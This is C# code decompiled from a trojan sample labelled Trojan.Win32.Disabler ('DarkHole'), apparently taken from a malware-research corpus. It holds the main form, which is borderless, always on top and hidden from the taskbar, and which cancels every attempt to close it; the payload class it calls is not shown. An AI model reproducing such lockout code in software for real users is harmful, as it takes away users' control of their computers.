// Decompiled with JetBrains decompiler
// Type: DarkHole.frmMain
// Assembly: DarkHole, Version=1.0.2863.37165, Culture=neutral, PublicKeyToken=null
// MVID: 004179F3-0653-4C47-86BC-65D9EC044824
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Disabler.ag-8f832a067f0cbed927d9eb2ca683e9473f989c4db136e10b5039182fc621175b.exe

using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Windows.Forms;

namespace DarkHole
{
  public class frmMain : Form
  {
    private IContainer components;

    [STAThread]
    public static void Main() => Application.Run((Form) new frmMain());

    public frmMain()
    {
      this.Load += new EventHandler(this.Form_Load);
      this.Closing += new CancelEventHandler(this.Form_Closing);
      this.InitializeComponent();
    }

    protected override void Dispose(bool disposing)
    {
      if (disposing && this.components != null)
        this.components.Dispose();
      base.Dispose(disposing);
    }

    [DebuggerStepThrough]
    private void InitializeComponent()
    {
      Size size = new Size(5, 14);
      this.AutoScaleBaseSize = size;
      size = new Size(96, 80);
      this.ClientSize = size;
      this.ControlBox = false;
      this.Font = new Font("Tahoma", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
      this.FormBorderStyle = FormBorderStyle.None;
      this.Name = nameof (frmMain);
      this.ShowInTaskbar = false;
      this.StartPosition = FormStartPosition.CenterScreen;
      this.Text = "Dark Hole";
      this.TopMost = true;
    }

    private void Form_Load(object sender, EventArgs e)
    {
      frmMain frmHl = this;
      MainModule.DarkHole = new ADarkHole(ref frmHl);
    }

    private void Form_Closing(object sender, CancelEventArgs e) => e.Cancel = true;
  }
}
